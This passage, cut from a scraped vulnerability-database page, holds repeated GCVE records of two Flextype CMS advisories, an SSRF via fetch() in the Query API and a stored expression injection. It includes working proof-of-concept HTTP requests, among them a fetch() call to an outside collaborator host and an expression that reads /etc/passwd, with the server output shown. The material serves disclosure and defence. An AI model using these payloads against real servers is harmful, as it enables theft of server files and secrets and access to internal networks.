              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a server-side request forgery (SSRF)\nvulnerability in the expression-processing functionality exposed through\nthe /api/v1/query endpoint. An authenticated remote attacker can supply an\narbitrary URL to the exposed fetch() function, causing the Flextype server\nto initiate an outbound HTTP request to an attacker-controlled destination.\n\nThe application does not sufficiently restrict the destination supplied to\nfetch(). Testing confirmed that an attacker-controlled expression submitted\nthrough the Query API caused the Flextype server to connect to an external\nBurp Collaborator endpoint.\n\nThe HTTP response received by the Flextype server, including its status\ncode, response headers, and response body, was subsequently returned to the\nattacker through the API response. The vulnerability therefore provides a\nnon-blind SSRF primitive and allows an attacker to interact with network\nresources from the security context and network position of the Flextype\nserver.\nImpact\n\nSuccessful exploitation allows an authenticated remote attacker to cause\nthe Flextype server to initiate arbitrary server-side HTTP requests.\n\nBecause the response to the server-side request is returned through the\nQuery API, an attacker may potentially use the vulnerability to enumerate\nand interact with HTTP services accessible from the Flextype host,\nincluding services that are not directly accessible from the attacker\u0027s\nnetwork location.\n\nDepending on the deployment environment and network configuration,\npotential targets may include internal web applications, administrative\ninterfaces, loopback services, private network resources, and other\nHTTP-accessible infrastructure reachable by the Flextype server.\n\nThe demonstrated vulnerability is non-blind because response data from the\nrequested destination is returned to the attacker.\nDetailsServer-Side Request Forgery via fetch()\n\nThe /api/v1/query endpoint accepts expressions that are evaluated by the\nFlextype expression-processing environment. The environment exposes a\nfetch() function capable of initiating HTTP requests.\n\nAn authenticated attacker can provide an attacker-controlled URL to this\nfunction.\n\nThe following request instructs the Flextype server to request an external\nBurp Collaborator endpoint:\n\nPOST /api/v1/query HTTP/1.1\nHost: 127.0.0.1:18080\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"query\":{\"ssrf\":\"fetch(\u0027http://042--snip--.oastify.com\u0026apos;)\"}}\n\nThe server responds with the result of the outbound request:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 01:49:16 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nSet-Cookie: Flextype=438637f69a696e857bd9c8446fe7c8d3; path=/\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate\nPragma: no-cache\nContent-Type: application/json;charset=UTF-8\nContent-Length: 269\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Headers: X-Requested-With, Content-Type, Accept,\nOrigin, Authorization\nAccess-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS\nAccess-Control-Allow-Expose:\nAccess-Control-Allow-Credentials: false\n\n{\"ssrf\":{\"reasonPhrase\":\"OK\",\"statusCode\":200,\"headers\":{\"Server\":[\"Burp\nCollaborator \nhttps://burpcollaborator.net/\"],\"X-Collaborator-Version\":[\"4\"],\"Content-Type\":[\"text/html\"],\"Content-Length\":[\"55\"]},\"body\":\";\u003chtml\u003e\u003cbody\u003e2trzdergwz6ntzdoje2rmtzjjgmgz\u003c/body\u003e\u003c/html\u003e\"}}\n\nThe returned data identifies the destination as a Burp Collaborator server:\n\nServer: Burp Collaborator https://burpcollaborator.net/\nX-Collaborator-Version: 4\n\nAdditionally, the destination\u0027s response body is returned through Flextype:\n\n\u003chtml\u003e\u003cbody\u003e2trzdergwz6ntzdoje2rmtzjjgmgz\u003c/body\u003e\u003c/html\u003e\n\nThis demonstrates that the request originates from the Flextype server and\nthat response data is made available to the authenticated attacker.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:03:55Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/21"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/21"
        },
        {
          "url": "http://042--snip--.oastify.com\u0026apos"
        },
        {
          "url": "https://burpcollaborator.net/"
        },
        {
          "url": "https://burpcollaborator.net/\"],\"X-Collaborator-Version\":[\"4\"],\"Content-Type\":[\"text/html\"],\"Content-Length\":[\"55\"]},\"body\":\""
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/21"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Flextype v1.0.0-alpha.3 Server-Side Request Forgery via fetch() in Query API",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-77939",
              "type": "possibly_related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0179",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/21",
            "automated": true,
            "contentSha256": "c9e2a727f1f53efb6b4cf5be0bcca4af1eb3ca45be5286682e35f5d90167ecd2",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/21",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-31T02:16:22Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0179"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:25:42Z",
    "dateUpdated": "2026-09-09T13:03:55Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0179"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0009

Vulnerability from gna-1988 – Published: 2026-09-07 06:42 – Updated: 2026-09-09 13:03
VLAI
Title
Flextype v1.0.0-alpha.3 Server-Side Request Forgery via fetch() in Query API
Summary
Description Flextype CMS v1.0.0-alpha.3 contains a server-side request forgery (SSRF) vulnerability in the expression-processing functionality exposed through the /api/v1/query endpoint. An authenticated remote attacker can supply an arbitrary URL to the exposed fetch() function, causing the Flextype server to initiate an outbound HTTP request to an attacker-controlled destination. The application does not sufficiently restrict the destination supplied to fetch(). Testing confirmed that an attacker-controlled expression submitted through the Query API caused the Flextype server to connect to an external Burp Collaborator endpoint. The HTTP response received by the Flextype server, including its status code, response headers, and response body, was subsequently returned to the attacker through the API response. The vulnerability therefore provides a non-blind SSRF primitive and allows an attacker to interact with network resources from the security context and network position of the Flextype server. Impact Successful exploitation allows an authenticated remote attacker to cause the Flextype server to initiate arbitrary server-side HTTP requests. Because the response to the server-side request is returned through the Query API, an attacker may potentially use the vulnerability to enumerate and interact with HTTP services accessible from the Flextype host, including services that are not directly accessible from the attacker's network location. Depending on the deployment environment and network configuration, potential targets may include internal web applications, administrative interfaces, loopback services, private network resources, and other HTTP-accessible infrastructure reachable by the Flextype server. The demonstrated vulnerability is non-blind because response data from the requested destination is returned to the attacker. DetailsServer-Side Request Forgery via fetch() The /api/v1/query endpoint accepts expressions that are evaluated by the Flextype expression-processing environment. The environment exposes a fetch() function capable of initiating HTTP requests. An authenticated attacker can provide an attacker-controlled URL to this function. The following request instructs the Flextype server to request an external Burp Collaborator endpoint: POST /api/v1/query HTTP/1.1 Host: 127.0.0.1:18080 Content-Type: application/json {"token":"lab-token","access_token":"password","query":{"ssrf":"fetch('http://042--snip--.oastify.com')"}} The server responds with the result of the outbound request: HTTP/1.1 200 OK Host: 127.0.0.1:18080 Date: Mon, 31 Aug 2026 01:49:16 GMT Connection: close X-Powered-By: PHP/8.1.34 Set-Cookie: Flextype=438637f69a696e857bd9c8446fe7c8d3; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Type: application/json;charset=UTF-8 Content-Length: 269 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-Requested-With, Content-Type, Accept, Origin, Authorization Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS Access-Control-Allow-Expose: Access-Control-Allow-Credentials: false {"ssrf":{"reasonPhrase":"OK","statusCode":200,"headers":{"Server":["Burp Collaborator https://burpcollaborator.net/"],"X-Collaborator-Version":["4"],"Content-Type":["text/html"],"Content-Length":["55"]},"body":";<html><body>2trzdergwz6ntzdoje2rmtzjjgmgz</body></html>"}} The returned data identifies the destination as a Burp Collaborator server: Server: Burp Collaborator https://burpcollaborator.net/ X-Collaborator-Version: 4 Additionally, the destination's response body is returned through Flextype: <html><body>2trzdergwz6ntzdoje2rmtzjjgmgz</body></html> This demonstrates that the request originates from the Flextype server and that response data is made available to the authenticated attacker. Ron Edgerson Vulnerability Researcher & Exploit Developer CVE Research | Binary Exploitation | Application & Systems Security Responsible Disclosure • Proof-of-Concept Development 🌐 https://github.com/ob1sec 🔗 https://www.linkedin.com/in/ronedgerson1 <https://linkedin.com/in/yourhandle> _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Impacted products
Vendor Product Version
Flextype Flextype Affected: unknown
Create a notification for this product.
Credits

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Flextype",
          "vendor": "Flextype",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a server-side request forgery (SSRF)\nvulnerability in the expression-processing functionality exposed through\nthe /api/v1/query endpoint. An authenticated remote attacker can supply an\narbitrary URL to the exposed fetch() function, causing the Flextype server\nto initiate an outbound HTTP request to an attacker-controlled destination.\n\nThe application does not sufficiently restrict the destination supplied to\nfetch(). Testing confirmed that an attacker-controlled expression submitted\nthrough the Query API caused the Flextype server to connect to an external\nBurp Collaborator endpoint.\n\nThe HTTP response received by the Flextype server, including its status\ncode, response headers, and response body, was subsequently returned to the\nattacker through the API response. The vulnerability therefore provides a\nnon-blind SSRF primitive and allows an attacker to interact with network\nresources from the security context and network position of the Flextype\nserver.\nImpact\n\nSuccessful exploitation allows an authenticated remote attacker to cause\nthe Flextype server to initiate arbitrary server-side HTTP requests.\n\nBecause the response to the server-side request is returned through the\nQuery API, an attacker may potentially use the vulnerability to enumerate\nand interact with HTTP services accessible from the Flextype host,\nincluding services that are not directly accessible from the attacker\u0027s\nnetwork location.\n\nDepending on the deployment environment and network configuration,\npotential targets may include internal web applications, administrative\ninterfaces, loopback services, private network resources, and other\nHTTP-accessible infrastructure reachable by the Flextype server.\n\nThe demonstrated vulnerability is non-blind because response data from the\nrequested destination is returned to the attacker.\nDetailsServer-Side Request Forgery via fetch()\n\nThe /api/v1/query endpoint accepts expressions that are evaluated by the\nFlextype expression-processing environment. The environment exposes a\nfetch() function capable of initiating HTTP requests.\n\nAn authenticated attacker can provide an attacker-controlled URL to this\nfunction.\n\nThe following request instructs the Flextype server to request an external\nBurp Collaborator endpoint:\n\nPOST /api/v1/query HTTP/1.1\nHost: 127.0.0.1:18080\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"query\":{\"ssrf\":\"fetch(\u0027http://042--snip--.oastify.com\u0026apos;)\"}}\n\nThe server responds with the result of the outbound request:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 01:49:16 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nSet-Cookie: Flextype=438637f69a696e857bd9c8446fe7c8d3; path=/\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate\nPragma: no-cache\nContent-Type: application/json;charset=UTF-8\nContent-Length: 269\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Headers: X-Requested-With, Content-Type, Accept,\nOrigin, Authorization\nAccess-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS\nAccess-Control-Allow-Expose:\nAccess-Control-Allow-Credentials: false\n\n{\"ssrf\":{\"reasonPhrase\":\"OK\",\"statusCode\":200,\"headers\":{\"Server\":[\"Burp\nCollaborator \nhttps://burpcollaborator.net/\"],\"X-Collaborator-Version\":[\"4\"],\"Content-Type\":[\"text/html\"],\"Content-Length\":[\"55\"]},\"body\":\";\u003chtml\u003e\u003cbody\u003e2trzdergwz6ntzdoje2rmtzjjgmgz\u003c/body\u003e\u003c/html\u003e\"}}\n\nThe returned data identifies the destination as a Burp Collaborator server:\n\nServer: Burp Collaborator https://burpcollaborator.net/\nX-Collaborator-Version: 4\n\nAdditionally, the destination\u0027s response body is returned through Flextype:\n\n\u003chtml\u003e\u003cbody\u003e2trzdergwz6ntzdoje2rmtzjjgmgz\u003c/body\u003e\u003c/html\u003e\n\nThis demonstrates that the request originates from the Flextype server and\nthat response data is made available to the authenticated attacker.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:03:55Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/21"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/21"
        },
        {
          "url": "http://042--snip--.oastify.com\u0026apos"
        },
        {
          "url": "https://burpcollaborator.net/"
        },
        {
          "url": "https://burpcollaborator.net/\"],\"X-Collaborator-Version\":[\"4\"],\"Content-Type\":[\"text/html\"],\"Content-Length\":[\"55\"]},\"body\":\""
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/21"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Flextype v1.0.0-alpha.3 Server-Side Request Forgery via fetch() in Query API",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0009",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/21",
            "automated": true,
            "contentSha256": "c9e2a727f1f53efb6b4cf5be0bcca4af1eb3ca45be5286682e35f5d90167ecd2",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/21",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-31T02:16:22Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T06:42:13Z",
    "dateUpdated": "2026-09-09T13:03:55Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0009"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0178

Vulnerability from gna-1988 – Published: 2026-09-08 07:25 – Updated: 2026-09-09 13:03
VLAI
Title
Flextype v1.0.0-alpha.3 Stored Arbitrary Expression Injection in ExpressionsDirective Allows Arbitrary File Read
Summary
Description Flextype CMS v1.0.0-alpha.3 contains a stored arbitrary expression injection vulnerability in the Entries ExpressionsDirective. An authenticated remote attacker with sufficient privileges to create or modify entries can persist arbitrary expression syntax within an entry field. When the affected field is subsequently retrieved or processed, Flextype passes the stored value to parsers()->expressions()->parse(), causing the attacker-controlled expression to be evaluated server-side. The expression environment exposes application functionality including the filesystem() object. An attacker can therefore store an expression that accesses arbitrary files readable by the Flextype PHP process. Testing confirmed exploitation by storing an expression referencing /etc/passwd within an entry's title field. The expression remained persisted within the underlying entry file and was evaluated when the entry was processed, resulting in disclosure of /etc/passwd. This represents a stored execution path because the expression itself crosses the persistence boundary and remains within the entry rather than requiring the attacker to supply the complete expression during each subsequent request. Impact An authenticated remote attacker can persist arbitrary expressions within Flextype entry fields that are subsequently evaluated by the server-side expression engine. The demonstrated vulnerability allows arbitrary files accessible to the Flextype PHP process to be read. This could expose sensitive server-side information including application configuration files, credentials, API keys, database connection information, source code, operating-system information, and other secrets available to the application account. Because the malicious expression is persisted within the entry, subsequent processing of the affected field can cause the expression to be evaluated again. Additional impact may be possible depending on the objects and functionality exposed to the expression environment. DetailsVulnerable Expressions Directive Implementation Flextype registers an onEntriesFetchSingleField listener responsible for processing expressions contained within individual entry fields. When expression directives and global expression processing are enabled, the implementation retrieves the current entry field, constructs variables from the entry data, and passes string field values directly to the expression parser. <?php declare(strict_types=1); /** * Flextype - Hybrid Content Management System with the freedom of a headless CMS * and with the full functionality of a traditional CMS! * * Copyright (c) Sergey Romanenko (https://awilum.github.io) * * Licensed under The MIT License. * * For full copyright and license information, please see the LICENSE * Redistributions of files must retain the above copyright notice. */ namespace Flextype\Entries\Directives; use function Glowy\Strings\strings; use function Flextype\emitter; use function Flextype\entries; use function Flextype\parsers; use function Flextype\registry; use function Flextype\collection; // Directive: [[ ]] [% %] [# #] emitter()->addListener('onEntriesFetchSingleField', static function (): void { if (! registry()->get('flextype.settings.entries.directives.expressions.enabled')) { return; } if (! registry()->get('flextype.settings.entries.directives.expressions.enabled_globally')) { return; } $field = entries()->registry()->get('methods.fetch.field'); if (is_string($field['value']) && strings($field['value'])->contains('!expressions')) { return; } $vars = []; // Convert entry fields to vars. foreach (json_decode(json_encode((object) entries()->registry()->get('methods.fetch.result')), false) as $key => $value) { $vars[$key] = $value; } if (is_string($field['value'])) { $field['value'] = parsers()->expressions()->parse($field['value'], $vars); } entries()->registry()->set('methods.fetch.field.key', $field['key']); entries()->registry()->set('methods.fetch.field.value', $field['value']); }); The security-sensitive operation occurs when the stored field value is passed directly to the expression parser: if (is_string($field['value'])) { $field['value'] = parsers()->expressions()->parse($field['value'], $vars); } Proof of Concept — Store Arbitrary Expression An authenticated attacker can create an entry through /api/v1/entries and supply expression syntax within an attacker-controlled field. The following request places a filesystem() expression within the title field that reads /etc/passwd: POST /api/v1/entries HTTP/1.1 Host: 127.0.0.1:18080 Content-Type: application/json {"token":"lab-token","access_token":"password","id":"expr-api-proof","data":{"title":"[[ filesystem().file('/etc/passwd').get() ]]","content":"created through API"}} The application evaluates the supplied expression and returns the contents of /etc/passwd: HTTP/1.1 200 OK Host: 127.0.0.1:18080 Date: Mon, 31 Aug 2026 01:49:16 GMT Connection: close X-Powered-By: PHP/8.1.34 Content-Type: application/json;charset=UTF-8 Content-Length: 1141 Access-Control-Allow-Origin: * {"title":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n","content":"created through API","slug":"expr-api-proof","visibility":"visible","id":"expr-api-proof"} Proof of Concept — Expression Persistence Inspection of the resulting Flextype entry demonstrates that the expression itself is persisted on disk rather than being replaced by the evaluated /etc/passwd contents: realpath: /app/project/entries/expr-api-proof/entry.md --- --- title: "[[ filesystem().file('/etc/passwd').get() ]]" published_by: '' created_by: '' uuid: 15420ada-de60-4bc6-b7b2-387df908e0e3 --- created through API This demonstrates that the expression remains part of the stored entry and is not limited to a reflected or one-time expression evaluation condition. Proof of Concept — Stored Expression Evaluation The stored entry can subsequently be retrieved using its normal entry identifier without resupplying the expression: GET /api/v1/entries?token=lab-token&id=expr-api-proof HTTP/1.1 Host: 127.0.0.1:18080 Flextype evaluates the expression previously stored within the entry and returns the resulting /etc/passwd contents: HTTP/1.1 200 OK Host: 127.0.0.1:18080 Date: Mon, 31 Aug 2026 01:49:16 GMT Connection: close X-Powered-By: PHP/8.1.34 Content-Type: application/json;charset=UTF-8 Content-Length: 1141 Access-Control-Allow-Origin: * {"title":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n","content":"created through API","slug":"expr-api-proof","visibility":"visible","id":"expr-api-proof"} The GET request contains only the normal entry identifier. The expression responsible for the file read originates from the previously persisted entry data and is evaluated during subsequent entry processing. Root Cause The vulnerability occurs because Flextype treats stored entry content as executable expression syntax during normal entry processing. Specifically: if (is_string($field['value'])) { $field['value'] = parsers()->expressions()->parse($field['value'], $vars); } There is no trust-boundary distinction between ordinary attacker-controllable entry content and trusted application expressions before the field value reaches the expression parser. As a result, data supplied through an entry-management interface can transition from stored application content into executable server-side expression syntax. Ron Edgerson Vulnerability Researcher & Exploit Developer CVE Research | Binary Exploitation | Application & Systems Security Responsible Disclosure • Proof-of-Concept Development 🌐 https://github.com/ob1sec 🔗 https://www.linkedin.com/in/ronedgerson1 <https://linkedin.com/in/yourhandle> _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Impacted products
Vendor Product Version
Flextype Flextype Affected: unknown
Create a notification for this product.
Credits
Relationships
analysis GCVE-1988-2026-0178 (this record)

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Flextype",
          "vendor": "Flextype",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a stored arbitrary expression\ninjection vulnerability in the Entries ExpressionsDirective. An\nauthenticated remote attacker with sufficient privileges to create or\nmodify entries can persist arbitrary expression syntax within an entry\nfield. When the affected field is subsequently retrieved or processed,\nFlextype passes the stored value to parsers()-\u003eexpressions()-\u003eparse(),\ncausing the attacker-controlled expression to be evaluated server-side.\n\nThe expression environment exposes application functionality including the\nfilesystem() object. An attacker can therefore store an expression that\naccesses arbitrary files readable by the Flextype PHP process. Testing\nconfirmed exploitation by storing an expression referencing /etc/passwd\nwithin an entry\u0027s title field. The expression remained persisted within the\nunderlying entry file and was evaluated when the entry was processed,\nresulting in disclosure of /etc/passwd.\n\nThis represents a stored execution path because the expression itself\ncrosses the persistence boundary and remains within the entry rather than\nrequiring the attacker to supply the complete expression during each\nsubsequent request.\nImpact\n\nAn authenticated remote attacker can persist arbitrary expressions within\nFlextype entry fields that are subsequently evaluated by the server-side\nexpression engine.\n\nThe demonstrated vulnerability allows arbitrary files accessible to the\nFlextype PHP process to be read. This could expose sensitive server-side\ninformation including application configuration files, credentials, API\nkeys, database connection information, source code, operating-system\ninformation, and other secrets available to the application account.\n\nBecause the malicious expression is persisted within the entry, subsequent\nprocessing of the affected field can cause the expression to be evaluated\nagain. Additional impact may be possible depending on the objects and\nfunctionality exposed to the expression environment.\n\nDetailsVulnerable Expressions Directive Implementation\n\nFlextype registers an onEntriesFetchSingleField listener responsible for\nprocessing expressions contained within individual entry fields.\n\nWhen expression directives and global expression processing are enabled,\nthe implementation retrieves the current entry field, constructs variables\nfrom the entry data, and passes string field values directly to the\nexpression parser.\n\n\u003c?php\n\ndeclare(strict_types=1);\n\n/**\n * Flextype - Hybrid Content Management System with the freedom of a\nheadless CMS\n * and with the full functionality of a traditional CMS!\n *\n * Copyright (c) Sergey Romanenko (https://awilum.github.io)\n *\n * Licensed under The MIT License.\n *\n * For full copyright and license information, please see the LICENSE\n * Redistributions of files must retain the above copyright notice.\n */\n\nnamespace Flextype\\Entries\\Directives;\n\nuse function Glowy\\Strings\\strings;\nuse function Flextype\\emitter;\nuse function Flextype\\entries;\nuse function Flextype\\parsers;\nuse function Flextype\\registry;\nuse function Flextype\\collection;\n\n// Directive: [[ ]] [% %] [# #]\nemitter()-\u003eaddListener(\u0027onEntriesFetchSingleField\u0027, static function (): void {\n\n    if (! registry()-\u003eget(\u0027flextype.settings.entries.directives.expressions.enabled\u0027))\n{\n        return;\n    }\n\n    if (! registry()-\u003eget(\u0027flextype.settings.entries.directives.expressions.enabled_globally\u0027))\n{\n        return;\n    }\n\n    $field = entries()-\u003eregistry()-\u003eget(\u0027methods.fetch.field\u0027);\n\n    if (is_string($field[\u0027value\u0027]) \u0026\u0026\nstrings($field[\u0027value\u0027])-\u003econtains(\u0027!expressions\u0027)) {\n        return;\n    }\n\n    $vars = [];\n\n    // Convert entry fields to vars.\n    foreach (json_decode(json_encode((object)\nentries()-\u003eregistry()-\u003eget(\u0027methods.fetch.result\u0027)), false) as $key =\u003e\n$value) {\n        $vars[$key] = $value;\n    }\n\n    if (is_string($field[\u0027value\u0027])) {\n        $field[\u0027value\u0027] =\nparsers()-\u003eexpressions()-\u003eparse($field[\u0027value\u0027], $vars);\n    }\n\n    entries()-\u003eregistry()-\u003eset(\u0027methods.fetch.field.key\u0027, $field[\u0027key\u0027]);\n    entries()-\u003eregistry()-\u003eset(\u0027methods.fetch.field.value\u0027, $field[\u0027value\u0027]);\n});\n\nThe security-sensitive operation occurs when the stored field value is\npassed directly to the expression parser:\n\nif (is_string($field[\u0027value\u0027])) {\n    $field[\u0027value\u0027] = parsers()-\u003eexpressions()-\u003eparse($field[\u0027value\u0027], $vars);\n}\n\nProof of Concept \u2014 Store Arbitrary Expression\n\nAn authenticated attacker can create an entry through /api/v1/entries and\nsupply expression syntax within an attacker-controlled field.\n\nThe following request places a filesystem() expression within the title\nfield that reads /etc/passwd:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18080\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"expr-api-proof\",\"data\":{\"title\":\"[[\nfilesystem().file(\u0027/etc/passwd\u0027).get() ]]\",\"content\":\"created through\nAPI\"}}\n\nThe application evaluates the supplied expression and returns the contents\nof /etc/passwd:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 01:49:16 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nContent-Type: application/json;charset=UTF-8\nContent-Length: 1141\nAccess-Control-Allow-Origin: 